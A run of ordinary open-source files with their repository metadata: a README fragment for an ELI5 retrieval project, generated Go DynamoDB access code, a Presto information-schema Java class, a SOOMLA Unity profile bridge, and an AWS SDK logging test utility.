TPUs and other devices. - `utils.py`: All general purpose utilities not involving Tensorflow can be found here. ### Notebooks: - **`Compute_Cumul_Lengths.ipynb`**: Computes the distribution of lengths for `gpt2_tokenizer.tokenize(question_text + answer_text)` arrays. Gives an idea of the fraction of the dataset that will be able to get different amounts of retrieved contexts. - **`Cumul_Lengths_Retrieval.ipynb`**: Computes the distribution of the lengths of a representative subset of the Wikipedia reference document with the GPT2 tokenizer. Helpful again to predict the number of retrievals each segment will be able to obtain.
{ "content_hash": "415f249fa9041b99d1d05ff232f9f24d", "timestamp": "", "source": "github", "line_count": 144, "max_line_length": 132, "avg_line_length": 54.229166666666664, "alnum_prop": 0.7770521193494686, "repo_name": "google-research/google-research", "id": "dc19cda2914329e0b6f460566f7027eddd8a1bac", "size": "7831", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "eli5_retrieval_large_lm/README.md", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "C", "bytes": "9817" }, { "name": "C++", "bytes": "4166670" }, { "name": "CMake", "bytes": "6412" }, { "name": "CSS", "bytes": "27092" }, { "name": "Cuda", "bytes": "1431" }, { "name": "Dockerfile", "bytes": "7145" }, { "name": "Gnuplot", "bytes": "11125" }, { "name": "HTML", "bytes": "77599" }, { "name": "ImageJ Macro", "bytes": "50488" }, { "name": "Java", "bytes": "487585" }, { "name": "JavaScript", "bytes": "896512" }, { "name": "Julia", "bytes": "67986" }, { "name": "Jupyter Notebook", "bytes": "71290299" }, { "name": "Lua", "bytes": "29905" }, { "name": "MATLAB", "bytes": "103813" }, { "name": "Makefile", "bytes": "5636" }, { "name": "NASL", "bytes": "63883" }, { "name": "Perl", "bytes": "8590" }, { "name": "Python", "bytes": "53790200" }, { "name": "R", "bytes": "101058" }, { "name": "Roff", "bytes": "1208" }, { "name": "Rust", "bytes": "2389" }, { "name": "Shell", "bytes": "730444" }, { "name": "Smarty", "bytes": "5966" }, { "name": "Starlark", "bytes": "245038" } ], "symlink_target": "" }
package dynamodb import ( "context" "fmt" "github.com/Clever/wag/samples/v8/gen-go-db/models" "github.com/Clever/wag/samples/v8/gen-go-db/server/db" "github.com/aws/aws-sdk-go/aws" "github.com/aws/aws-sdk-go/aws/awserr" "github.com/aws/aws-sdk-go/service/dynamodb" "github.com/aws/aws-sdk-go/service/dynamodb/dynamodbattribute" "github.com/aws/aws-sdk-go/service/dynamodb/dynamodbiface" "github.com/go-openapi/strfmt" ) var _ = strfmt.DateTime{} // ThingWithRequiredFields2Table represents the user-configurable properties of the ThingWithRequiredFields2 table. type ThingWithRequiredFields2Table struct { DynamoDBAPI dynamodbiface.DynamoDBAPI Prefix string TableName string ReadCapacityUnits int64 WriteCapacityUnits int64 } // ddbThingWithRequiredFields2PrimaryKey represents the primary key of a ThingWithRequiredFields2 in DynamoDB. type ddbThingWithRequiredFields2PrimaryKey struct { Name string `dynamodbav:"name"` ID string `dynamodbav:"id"` } // ddbThingWithRequiredFields2 represents a ThingWithRequiredFields2 as stored in DynamoDB. type ddbThingWithRequiredFields2 struct { models.ThingWithRequiredFields2 } func (t ThingWithRequiredFields2Table) name() string { if t.TableName != "" { return t.TableName } return fmt.Sprintf("%s-thing-with-required-fields2s", t.Prefix) } func (t ThingWithRequiredFields2Table) create(ctx context.Context) error { if _, err := t.DynamoDBAPI.CreateTableWithContext(ctx, &dynamodb.CreateTableInput{ AttributeDefinitions: []*dynamodb.AttributeDefinition{ { AttributeName: aws.String("id"), AttributeType: aws.String("S"), }, { AttributeName: aws.String("name"), AttributeType: aws.String("S"), }, }, KeySchema: []*dynamodb.KeySchemaElement{ { AttributeName: aws.String("name"), KeyType: aws.String(dynamodb.KeyTypeHash), }, { AttributeName: aws.String("id"), KeyType: aws.String(dynamodb.KeyTypeRange), }, }, ProvisionedThroughput: &dynamodb.ProvisionedThroughput{ ReadCapacityUnits: aws.Int64(t.ReadCapacityUnits), WriteCapacityUnits: aws.Int64(t.WriteCapacityUnits), }, TableName: aws.String(t.name()), }); err != nil { return err } return nil } func (t ThingWithRequiredFields2Table) saveThingWithRequiredFields2(ctx context.Context, m models.ThingWithRequiredFields2) error { data, err := encodeThingWithRequiredFields2(m) if err != nil { return err } _, err = t.DynamoDBAPI.PutItemWithContext(ctx, &dynamodb.PutItemInput{ TableName: aws.String(t.name()), Item: data, ExpressionAttributeNames: map[string]*string{ "#NAME": aws.String("name"), "#ID": aws.String("id"), }, ConditionExpression: aws.String("attribute_not_exists(#NAME) AND attribute_not_exists(#ID)"), }) if err != nil { if aerr, ok := err.(awserr.Error); ok { switch aerr.Code() { case dynamodb.ErrCodeConditionalCheckFailedException: return db.ErrThingWithRequiredFields2AlreadyExists{ Name: *m.Name, ID: *m.ID, } case dynamodb.ErrCodeResourceNotFoundException: return fmt.Errorf("table or index not found: %s", t.name()) } } return err } return nil } func (t ThingWithRequiredFields2Table) getThingWithRequiredFields2(ctx context.Context, name string, id string) (*models.ThingWithRequiredFields2, error) { key, err := dynamodbattribute.MarshalMap(ddbThingWithRequiredFields2PrimaryKey{ Name: name, ID: id, }) if err != nil { return nil, err } res, err := t.DynamoDBAPI.GetItemWithContext(ctx, &dynamodb.GetItemInput{ Key: key, TableName: aws.String(t.name()), ConsistentRead: aws.Bool(true), }) if err != nil { if aerr, ok := err.(awserr.Error); ok { switch aerr.Code() { case dynamodb.ErrCodeResourceNotFoundException: return nil, fmt.Errorf("table or index not found: %s", t.name()) } } return nil, err } if len(res.Item) == 0 { return nil, db.ErrThingWithRequiredFields2NotFound{ Name: name, ID: id, } } var m models.ThingWithRequiredFields2 if err := decodeThingWithRequiredFields2(res.Item, &m); err != nil { return nil, err } return &m, nil } func (t ThingWithRequiredFields2Table) scanThingWithRequiredFields2s(ctx context.Context, input db.ScanThingWithRequiredFields2sInput, fn func(m *models.ThingWithRequiredFields2, lastThingWithRequiredFields2 bool) bool) error { scanInput := &dynamodb.ScanInput{ TableName: aws.String(t.name()), ConsistentRead: aws.Bool(!input.DisableConsistentRead), Limit: input.Limit, } if input.StartingAfter != nil { exclusiveStartKey, err := dynamodbattribute.MarshalMap(input.StartingAfter) if err != nil { return fmt.Errorf("error encoding exclusive start key for scan: %s", err.Error()) } // must provide only the fields constituting the index scanInput.ExclusiveStartKey = map[string]*dynamodb.AttributeValue{ "name": exclusiveStartKey["name"], "id": exclusiveStartKey["id"], } } totalRecordsProcessed := int64(0) var innerErr error err := t.DynamoDBAPI.ScanPagesWithContext(ctx, scanInput, func(out *dynamodb.ScanOutput, lastPage bool) bool { items, err := decodeThingWithRequiredFields2s(out.Items) if err != nil { innerErr = fmt.Errorf("error decoding %s", err.Error()) return false } for i := range items { if input.Limiter != nil { if err := input.Limiter.Wait(ctx); err != nil { innerErr = err return false } } isLastModel := lastPage && i == len(items)-1 if shouldContinue := fn(&items[i], isLastModel); !shouldContinue { return false } totalRecordsProcessed++ // if the Limit of records have been passed to fn, don't pass anymore records. if input.Limit != nil && totalRecordsProcessed == *input.Limit { return false } } return true }) if innerErr != nil { return innerErr } return err } func (t ThingWithRequiredFields2Table) getThingWithRequiredFields2sByNameAndID(ctx context.Context, input db.GetThingWithRequiredFields2sByNameAndIDInput, fn func(m *models.ThingWithRequiredFields2, lastThingWithRequiredFields2 bool) bool) error { if input.IDStartingAt != nil && input.StartingAfter != nil { return fmt.Errorf("Can specify only one of input.IDStartingAt or input.StartingAfter") } if input.Name == "" { return fmt.Errorf("Hash key input.Name cannot be empty") } queryInput := &dynamodb.QueryInput{ TableName: aws.String(t.name()), ExpressionAttributeNames: map[string]*string{ "#NAME": aws.String("name"), }, ExpressionAttributeValues: map[string]*dynamodb.AttributeValue{ ":name": &dynamodb.AttributeValue{ S: aws.String(input.Name), }, }, ScanIndexForward: aws.Bool(!input.Descending), ConsistentRead: aws.Bool(!input.DisableConsistentRead), } if input.Limit != nil { queryInput.Limit = input.Limit } if input.IDStartingAt == nil { queryInput.KeyConditionExpression = aws.String("#NAME = :name") } else { queryInput.ExpressionAttributeNames["#ID"] = aws.String("id") queryInput.ExpressionAttributeValues[":id"] = &dynamodb.AttributeValue{ S: aws.String(*input.IDStartingAt), } if input.Descending { queryInput.KeyConditionExpression = aws.String("#NAME = :name AND #ID <= :id") } else { queryInput.KeyConditionExpression = aws.String("#NAME = :name AND #ID >= :id") } } if input.StartingAfter != nil { queryInput.ExclusiveStartKey = map[string]*dynamodb.AttributeValue{ "id": &dynamodb.AttributeValue{ S: aws.String(*input.StartingAfter.ID), }, "name": &dynamodb.AttributeValue{ S: aws.String(*input.StartingAfter.Name), }, } } totalRecordsProcessed := int64(0) var pageFnErr error pageFn := func(queryOutput *dynamodb.QueryOutput, lastPage bool) bool { if len(queryOutput.Items) == 0 { return false } items, err := decodeThingWithRequiredFields2s(queryOutput.Items) if err != nil { pageFnErr = err return false } hasMore := true for i := range items { if lastPage == true { hasMore = i < len(items)-1 } if !fn(&items[i], !hasMore) { return false } totalRecordsProcessed++ // if the Limit of records have been passed to fn, don't pass anymore records. if input.Limit != nil && totalRecordsProcessed == *input.Limit { return false } } return true } err := t.DynamoDBAPI.QueryPagesWithContext(ctx, queryInput, pageFn) if err != nil { if aerr, ok := err.(awserr.Error); ok { switch aerr.Code() { case dynamodb.ErrCodeResourceNotFoundException: return fmt.Errorf("table or index not found: %s", t.name()) } } return err } if pageFnErr != nil { return pageFnErr } return nil } func (t ThingWithRequiredFields2Table) deleteThingWithRequiredFields2(ctx context.Context, name string, id string) error { key, err := dynamodbattribute.MarshalMap(ddbThingWithRequiredFields2PrimaryKey{ Name: name, ID: id, }) if err != nil { return err } _, err = t.DynamoDBAPI.DeleteItemWithContext(ctx, &dynamodb.DeleteItemInput{ Key: key, TableName: aws.String(t.name()), }) if err != nil { if aerr, ok := err.(awserr.Error); ok { switch aerr.Code() { case dynamodb.ErrCodeResourceNotFoundException: return fmt.Errorf("table or index not found: %s", t.name()) } } return err } return nil } // encodeThingWithRequiredFields2 encodes a ThingWithRequiredFields2 as a DynamoDB map of attribute values. func encodeThingWithRequiredFields2(m models.ThingWithRequiredFields2) (map[string]*dynamodb.AttributeValue, error) { return dynamodbattribute.MarshalMap(ddbThingWithRequiredFields2{ ThingWithRequiredFields2: m, }) } // decodeThingWithRequiredFields2 translates a ThingWithRequiredFields2 stored in DynamoDB to a ThingWithRequiredFields2 struct. func decodeThingWithRequiredFields2(m map[string]*dynamodb.AttributeValue, out *models.ThingWithRequiredFields2) error { var ddbThingWithRequiredFields2 ddbThingWithRequiredFields2 if err := dynamodbattribute.UnmarshalMap(m, &ddbThingWithRequiredFields2); err != nil { return err } *out = ddbThingWithRequiredFields2.ThingWithRequiredFields2 return nil } // decodeThingWithRequiredFields2s translates a list of ThingWithRequiredFields2s stored in DynamoDB to a slice of ThingWithRequiredFields2 structs. func decodeThingWithRequiredFields2s(ms []map[string]*dynamodb.AttributeValue) ([]models.ThingWithRequiredFields2, error) { thingWithRequiredFields2s := make([]models.ThingWithRequiredFields2, len(ms)) for i, m := range ms { var thingWithRequiredFields2 models.ThingWithRequiredFields2 if err := decodeThingWithRequiredFields2(m, &thingWithRequiredFields2); err != nil { return nil, err } thingWithRequiredFields2s[i] = thingWithRequiredFields2 } return thingWithRequiredFields2s, nil }
{ "content_hash": "784a47677c5f685322bc6a7118c0ad29", "timestamp": "", "source": "github", "line_count": 343, "max_line_length": 247, "avg_line_length": 31.463556851311953, "alnum_prop": 0.7219236471460341, "repo_name": "Clever/wag", "id": "a6ca04637f41fe804544f1f025b7fdbe940f08a7", "size": "10792", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "samples/gen-go-db/server/db/dynamodb/thingwithrequiredfields2.go", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Dockerfile", "bytes": "138" }, { "name": "Go", "bytes": "231712" }, { "name": "Makefile", "bytes": "12255" }, { "name": "Shell", "bytes": "704" } ], "symlink_target": "" }
/* * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.facebook.presto.connector.informationSchema; import com.facebook.presto.spi.ColumnHandle; import com.facebook.presto.spi.ColumnMetadata; import com.facebook.presto.spi.ConnectorTableMetadata; import com.facebook.presto.spi.ReadOnlyConnectorMetadata; import com.facebook.presto.spi.SchemaTableName; import com.facebook.presto.spi.SchemaTablePrefix; import com.facebook.presto.spi.TableHandle; import com.google.common.collect.ImmutableList; import com.google.common.collect.ImmutableMap; import java.util.List; import java.util.Map; import java.util.Map.Entry; import static com.facebook.presto.connector.informationSchema.InformationSchemaColumnHandle.toInformationSchemaColumnHandles; import static com.facebook.presto.metadata.MetadataUtil.SchemaMetadataBuilder.schemaMetadataBuilder; import static com.facebook.presto.metadata.MetadataUtil.TableMetadataBuilder.tableMetadataBuilder; import static com.facebook.presto.metadata.MetadataUtil.findColumnMetadata; import static com.facebook.presto.metadata.MetadataUtil.schemaNameGetter; import static com.facebook.presto.spi.ColumnType.LONG; import static com.facebook.presto.spi.ColumnType.STRING; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.base.Predicates.compose; import static com.google.common.base.Predicates.equalTo; import static com.google.common.collect.Iterables.filter; public class InformationSchemaMetadata extends ReadOnlyConnectorMetadata { public static final String INFORMATION_SCHEMA = "information_schema"; public static final SchemaTableName TABLE_COLUMNS = new SchemaTableName(INFORMATION_SCHEMA, "columns"); public static final SchemaTableName TABLE_TABLES = new SchemaTableName(INFORMATION_SCHEMA, "tables"); public static final SchemaTableName TABLE_SCHEMATA = new SchemaTableName(INFORMATION_SCHEMA, "schemata"); public static final SchemaTableName TABLE_INTERNAL_FUNCTIONS = new SchemaTableName(INFORMATION_SCHEMA, "__internal_functions__"); public static final SchemaTableName TABLE_INTERNAL_PARTITIONS = new SchemaTableName(INFORMATION_SCHEMA, "__internal_partitions__"); public static final Map<SchemaTableName, ConnectorTableMetadata> TABLES = schemaMetadataBuilder() .table(tableMetadataBuilder(TABLE_COLUMNS) .column("table_catalog", STRING) .column("table_schema", STRING) .column("table_name", STRING) .column("column_name", STRING) .column("ordinal_position", LONG) .column("column_default", STRING) .column("is_nullable", STRING) .column("data_type", STRING) .column("is_partition_key", STRING) .build()) .table(tableMetadataBuilder(TABLE_TABLES) .column("table_catalog", STRING) .column("table_schema", STRING) .column("table_name", STRING) .column("table_type", STRING) .build()) .table(tableMetadataBuilder(TABLE_SCHEMATA) .column("catalog_name", STRING) .column("schema_name", STRING) .build()) .table(tableMetadataBuilder(TABLE_INTERNAL_FUNCTIONS) .column("function_name", STRING) .column("argument_types", STRING) .column("return_type", STRING) .column("function_type", STRING) .column("description", STRING) .build()) .table(tableMetadataBuilder(TABLE_INTERNAL_PARTITIONS) .column("table_catalog", STRING) .column("table_schema", STRING) .column("table_name", STRING) .column("partition_number", LONG) .column("partition_key", STRING) .column("partition_value", STRING) .build()) .build(); private final String catalogName; public InformationSchemaMetadata(String catalogName) { this.catalogName = catalogName; } @Override public boolean canHandle(TableHandle tableHandle) { if (!(tableHandle instanceof InformationSchemaTableHandle)) { return false; } InformationSchemaTableHandle handle = (InformationSchemaTableHandle) tableHandle; return handle.getCatalogName().equals(catalogName) && TABLES.containsKey(handle.getSchemaTableName()); } private InformationSchemaTableHandle checkTableHandle(TableHandle tableHandle) { checkNotNull(tableHandle, "tableHandle is null"); checkArgument(tableHandle instanceof InformationSchemaTableHandle, "tableHandle is not an information schema table handle"); InformationSchemaTableHandle handle = (InformationSchemaTableHandle) tableHandle; checkArgument(handle.getCatalogName().equals(catalogName), "invalid table handle: expected catalog %s but got %s", catalogName, handle.getCatalogName()); checkArgument(TABLES.containsKey(handle.getSchemaTableName()), "table %s does not exist", handle.getSchemaTableName()); return handle; } @Override public List<String> listSchemaNames() { return ImmutableList.of(INFORMATION_SCHEMA); } @Override public TableHandle getTableHandle(SchemaTableName tableName) { if (!TABLES.containsKey(tableName)) { return null; } return new InformationSchemaTableHandle(catalogName, tableName.getSchemaName(), tableName.getTableName()); } @Override public ConnectorTableMetadata getTableMetadata(TableHandle tableHandle) { InformationSchemaTableHandle informationSchemaTableHandle = checkTableHandle(tableHandle); return TABLES.get(informationSchemaTableHandle.getSchemaTableName()); } @Override public List<SchemaTableName> listTables(final String schemaNameOrNull) { if (schemaNameOrNull == null) { return ImmutableList.copyOf(TABLES.keySet()); } return ImmutableList.copyOf(filter(TABLES.keySet(), compose(equalTo(schemaNameOrNull), schemaNameGetter()))); } @Override public ColumnHandle getColumnHandle(TableHandle tableHandle, String columnName) { InformationSchemaTableHandle informationSchemaTableHandle = checkTableHandle(tableHandle); ConnectorTableMetadata tableMetadata = TABLES.get(informationSchemaTableHandle.getSchemaTableName()); if (findColumnMetadata(tableMetadata, columnName) == null) { return null; } return new InformationSchemaColumnHandle(columnName); } @Override public ColumnHandle getSampleWeightColumnHandle(TableHandle tableHandle) { return null; } @Override public ColumnMetadata getColumnMetadata(TableHandle tableHandle, ColumnHandle columnHandle) { InformationSchemaTableHandle informationSchemaTableHandle = checkTableHandle(tableHandle); ConnectorTableMetadata tableMetadata = TABLES.get(informationSchemaTableHandle.getSchemaTableName()); checkArgument(columnHandle instanceof InformationSchemaColumnHandle, "columnHandle is not an instance of InformationSchemaColumnHandle"); String columnName = ((InformationSchemaColumnHandle) columnHandle).getColumnName(); ColumnMetadata columnMetadata = findColumnMetadata(tableMetadata, columnName); checkArgument(columnMetadata != null, "Column %s on table %s does not exist", columnName, tableMetadata.getTable()); return columnMetadata; } @Override public Map<String, ColumnHandle> getColumnHandles(TableHandle tableHandle) { InformationSchemaTableHandle informationSchemaTableHandle = checkTableHandle(tableHandle); ConnectorTableMetadata tableMetadata = TABLES.get(informationSchemaTableHandle.getSchemaTableName()); return toInformationSchemaColumnHandles(tableMetadata); } @Override public Map<SchemaTableName, List<ColumnMetadata>> listTableColumns(SchemaTablePrefix prefix) { checkNotNull(prefix, "prefix is null"); ImmutableMap.Builder<SchemaTableName, List<ColumnMetadata>> builder = ImmutableMap.builder(); for (Entry<SchemaTableName, ConnectorTableMetadata> entry : TABLES.entrySet()) { if (prefix.matches(entry.getKey())) { builder.put(entry.getKey(), entry.getValue().getColumns()); } } return builder.build(); } static List<ColumnMetadata> informationSchemaTableColumns(SchemaTableName tableName) { checkArgument(TABLES.containsKey(tableName), "table does not exist: %s", tableName); return TABLES.get(tableName).getColumns(); } }
{ "content_hash": "7e4f6528a5909fc22bb2b76d4ea692aa", "timestamp": "", "source": "github", "line_count": 214, "max_line_length": 161, "avg_line_length": 44.67289719626168, "alnum_prop": 0.701255230125523, "repo_name": "jietang3/test", "id": "da8d41b3b50d4fc4e36273969ed3abac42b6efb3", "size": "9560", "binary": false, "copies": "3", "ref": "refs/heads/master", "path": "presto-main/src/main/java/com/facebook/presto/connector/informationSchema/InformationSchemaMetadata.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "GAP", "bytes": "41747" }, { "name": "Java", "bytes": "6474562" }, { "name": "Python", "bytes": "4331" } ], "symlink_target": "" }
package com.soomla.profile.unity; import android.app.Activity; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.util.Base64; import com.soomla.Soomla; import com.soomla.SoomlaApp; import com.soomla.SoomlaUtils; import com.soomla.profile.SoomlaProfile; import com.soomla.profile.data.UserProfileStorage; import com.soomla.profile.domain.IProvider; import com.soomla.profile.domain.UserProfile; import com.soomla.profile.domain.gameservices.Leaderboard; import com.soomla.profile.exceptions.ProviderNotFoundException; import com.soomla.profile.exceptions.UserProfileNotFoundException; import com.unity3d.player.UnityPlayer; import org.json.JSONException; import org.json.JSONObject; import java.security.*; import java.util.HashMap; import java.util.Iterator; import static com.soomla.profile.domain.IProvider.Provider; public class UnitySoomlaProfile { public static void initialize(Activity activity, String customParamsJson) throws JSONException { SoomlaUtils.LogDebug(TAG, "Initializing SoomlaProfile from bridge"); JSONObject customParamsJsonObj = new JSONObject(customParamsJson); SoomlaProfile.getInstance().initialize(activity, parseProviderParams(customParamsJsonObj)); } public static void login(Activity activity, String providerStr, String payload) throws ProviderNotFoundException { Provider provider = Provider.getEnum(providerStr); SoomlaProfile.getInstance().login(activity, provider, payload, null); } public static void logout(String providerStr) throws ProviderNotFoundException { Provider provider = Provider.getEnum(providerStr); SoomlaProfile.getInstance().logout(provider); } public static boolean isLoggedIn(Activity activity, String providerStr) throws ProviderNotFoundException { Provider provider = Provider.getEnum(providerStr); return SoomlaProfile.getInstance().isLoggedIn(activity, provider); } public static void updateStatus(String providerStr, String status, String payload, boolean showConfirmation, String customMessage) throws ProviderNotFoundException { Provider provider = Provider.getEnum(providerStr); if (!showConfirmation) { SoomlaProfile.getInstance().updateStatus(provider, status, payload, null); } else { SoomlaProfile.getInstance().updateStatusWithConfirmation(provider, status, payload, null, UnityPlayer.currentActivity, customMessage); } } public static void updateStatusDialog(String providerStr, String link, String payload) throws ProviderNotFoundException { Provider provider = Provider.getEnum(providerStr); SoomlaProfile.getInstance().updateStatusDialog(provider, link, payload, null); } public static void updateStory(String providerStr, String message, String name, String caption, String description, String link, String pictureUrl, String payload, boolean showConfirmation, String customMessage) throws ProviderNotFoundException { Provider provider = Provider.getEnum(providerStr); if (!showConfirmation) { SoomlaProfile.getInstance().updateStory(provider, message, name, caption, description, link, pictureUrl, payload, null); } else { SoomlaProfile.getInstance().updateStoryWithConfirmation(provider, message, name, caption, description, link, pictureUrl, payload, null, UnityPlayer.currentActivity, customMessage); } } public static void updateStoryDialog(String providerStr, String name, String caption, String description, String link, String picture, String payload) throws ProviderNotFoundException { Provider provider = Provider.getEnum(providerStr); SoomlaProfile.getInstance().updateStoryDialog(provider, name, caption, description, link, picture, payload, null); } public static void uploadImage(String providerStr, String message, String filePath, String payload) throws ProviderNotFoundException { Provider provider = Provider.getEnum(providerStr); SoomlaProfile.getInstance().uploadImage(provider, message, filePath, payload, null); } public static void uploadImage(String providerStr, String message, String fileName, String imageBase64Str, int jpegQuality, String payload, boolean showConfirmation, String customMessage) throws ProviderNotFoundException{ Provider provider = Provider.getEnum(providerStr); byte[] decodedString = Base64.decode(imageBase64Str, Base64.DEFAULT); Bitmap imageBitmap = BitmapFactory.decodeByteArray(decodedString, 0, decodedString.length); if (!showConfirmation) { SoomlaProfile.getInstance().uploadImage(provider, message, fileName, imageBitmap, jpegQuality, payload, null); } else { SoomlaProfile.getInstance().uploadImageWithConfirmation(provider, message, fileName, imageBitmap, jpegQuality, payload, null, UnityPlayer.currentActivity, customMessage); } } public static void getContacts(String providerStr, boolean fromStart, String payload) throws ProviderNotFoundException { Provider provider = Provider.getEnum(providerStr); SoomlaProfile.getInstance().getContacts(provider, fromStart, payload, null); } public static void getFeed(String providerStr, boolean fromStart, String payload) throws ProviderNotFoundException { Provider provider = Provider.getEnum(providerStr); SoomlaProfile.getInstance().getFeed(provider, fromStart, payload, null); } public static void invite(String providerStr, String inviteMessage, String dialogTitle, String payload) throws ProviderNotFoundException { Provider provider = Provider.getEnum(providerStr); SoomlaProfile.getInstance().invite(UnityPlayer.currentActivity, provider, inviteMessage, dialogTitle, payload, null); } public static String getStoredUserProfile(String providerStr) throws ProviderNotFoundException, UserProfileNotFoundException { Provider provider = Provider.getEnum(providerStr); UserProfile userProfile = SoomlaProfile.getInstance().getStoredUserProfile(provider); return userProfile == null ? null : userProfile.toJSONObject().toString(); } public static void storeUserProfile(String userJSON) throws ProviderNotFoundException, JSONException { JSONObject jsonObject = new JSONObject(userJSON); final UserProfile userProfile = new UserProfile(jsonObject); UserProfileStorage.setUserProfile(userProfile); } public static void removeUserProfile(String userJSON) throws ProviderNotFoundException, JSONException { JSONObject jsonObject = new JSONObject(userJSON); final UserProfile userProfile = new UserProfile(jsonObject); UserProfileStorage.removeUserProfile(userProfile); } public static void openAppRatingPage(Activity activity) { SoomlaProfile.getInstance().openAppRatingPage(activity.getApplicationContext()); } public static void multiShare(String text, String imageFilePath) { SoomlaProfile.getInstance().multiShare(text, imageFilePath); } public static void getLeaderboards(String providerStr, String payload) throws ProviderNotFoundException { SoomlaProfile.getInstance().getLeaderboards(Provider.getEnum(providerStr), payload, null); } public static void getScores(String providerStr, String fromJson, boolean fromStart, String payload) throws ProviderNotFoundException, JSONException { SoomlaProfile.getInstance().getScores(Provider.getEnum(providerStr), new Leaderboard(new JSONObject(fromJson)), fromStart, payload, null); } public static void submitScore(String providerStr, String toJson, long score, String payload) throws ProviderNotFoundException, JSONException { SoomlaProfile.getInstance().submitScore(Provider.getEnum(providerStr), new Leaderboard(new JSONObject(toJson)), score, payload, null); } public static void showLeaderboards(String providerStr, Activity activity, String payload) throws ProviderNotFoundException { SoomlaProfile.getInstance().showLeaderboards(Provider.getEnum(providerStr), activity, payload, null); } /* * Helper function to retrieve custom params for SoomlaProfile initialization from Json string. * @param customParamsJson has the following structure: * {"provider1":{"param1":"value1", ... "paramn":"valuen", "provider2": {...}} */ private static HashMap<IProvider.Provider, HashMap<String, String>> parseProviderParams(JSONObject sentParams) { if (sentParams == null) { SoomlaUtils.LogDebug("SOOMLA", "no provider params were sent"); return null; } HashMap<IProvider.Provider, HashMap<String, String>> result = new HashMap<IProvider.Provider, HashMap<String, String>>(); Iterator keysIterator = sentParams.keys(); while (keysIterator.hasNext()) { String providerStr = (String)keysIterator.next(); JSONObject paramsEntry = sentParams.optJSONObject(providerStr); if (paramsEntry != null) { HashMap<String, String> currentProviderParams = new HashMap<String, String>(); Iterator innerKeysIterator = paramsEntry.keys(); while (innerKeysIterator.hasNext()) { String innerKey = (String)innerKeysIterator.next(); String innerValue = paramsEntry.optString(innerKey); currentProviderParams.put(innerKey, innerValue); } result.put(IProvider.Provider.getEnum(providerStr), currentProviderParams); } } return result; } private static String TAG = "SOOMLA UnitySoomlaProfile"; }
{ "content_hash": "c7d4c75d94a69705a8bc9fc3590b493e", "timestamp": "", "source": "github", "line_count": 206, "max_line_length": 146, "avg_line_length": 49.63592233009709, "alnum_prop": 0.7123716381418093, "repo_name": "soomla/unity3d-profile", "id": "94215e9ae13411ee68f777fd0dd8ef98c1ced42c", "size": "10225", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "soomla-native/projects/unity-android-profile/src/com/soomla/profile/unity/UnitySoomlaProfile.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "C", "bytes": "90" }, { "name": "C#", "bytes": "300617" }, { "name": "Java", "bytes": "50271" }, { "name": "Objective-C", "bytes": "182" }, { "name": "Objective-C++", "bytes": "63819" }, { "name": "Python", "bytes": "6735" }, { "name": "Shell", "bytes": "1993" } ], "symlink_target": "" }
package com.amazonaws.util; import org.apache.log4j.AppenderSkeleton; import org.apache.log4j.Level; import org.apache.log4j.Logger; import org.apache.log4j.spi.LoggingEvent; import org.junit.After; import org.junit.Before; import java.util.ArrayList; import java.util.List; /** * A test utility that allows inspection of log statements * during testing. * <p> * Can either be used stand-alone for example * <pre><code> * private LogCaptor logCaptor = new LogCaptor.DefaultLogCaptor(Level.INFO); * // Do stuff that you expect to log things * assertThat(logCaptor.loggedEvents(), is(not(empty()))); * </code></pre> * <p> * Or can extend it to make use of @Before / @After test annotations * <p> * <pre><code> * class MyTestClass extends LogCaptor.LogCaptorTestBase { * {@literal @}Test * public void someTestThatWeExpectToLog() { * // Do stuff that you expect to log things * assertThat(loggedEvents(), is(not(empty()))); * } * } * </code></pre> */ public interface LogCaptor { List<LoggingEvent> loggedEvents(); void clear(); class LogCaptorTestBase extends DefaultLogCaptor { public LogCaptorTestBase() { super(Level.ALL); } @Before public void setupLogging() { super.setupLogging(); } @After public void stopLogging() { super.stopLogging(); } } class DefaultLogCaptor extends AppenderSkeleton implements LogCaptor { private final List<LoggingEvent> loggedEvents = new ArrayList<LoggingEvent>(); private final Level originalLoggingLevel = Logger.getRootLogger().getLevel(); private final Level levelToCapture; public DefaultLogCaptor(Level levelToCapture) { super(); this.levelToCapture = levelToCapture; setupLogging(); } @Override public void finalize() { super.finalize(); stopLogging(); } @Override public List<LoggingEvent> loggedEvents() { return new ArrayList<LoggingEvent>(loggedEvents); } @Override public void clear() { loggedEvents.clear(); } protected void setupLogging() { loggedEvents.clear(); Logger.getRootLogger().addAppender(this); Logger.getRootLogger().setLevel(levelToCapture); } protected void stopLogging() { Logger.getRootLogger().removeAppender(this); Logger.getRootLogger().setLevel(originalLoggingLevel); } @Override protected void append(LoggingEvent loggingEvent) { loggedEvents.add(loggingEvent); } @Override public boolean requiresLayout() { return false; } @Override public void close() { } } }
{ "content_hash": "2b92e1d3223fdbd43ecdf85f40e371d6", "timestamp": "", "source": "github", "line_count": 111, "max_line_length": 86, "avg_line_length": 26.306306306306308, "alnum_prop": 0.6095890410958904, "repo_name": "aws/aws-sdk-java", "id": "2bc40d89d3261a9afaec50b68541fc882ea17518", "size": "3503", "binary": false, "copies": "3", "ref": "refs/heads/master", "path": "aws-java-sdk-core/src/test/java/com/amazonaws/util/LogCaptor.java", "mode": "33188", "license": "apache-2.0", "language": [], "symlink_target": "" }
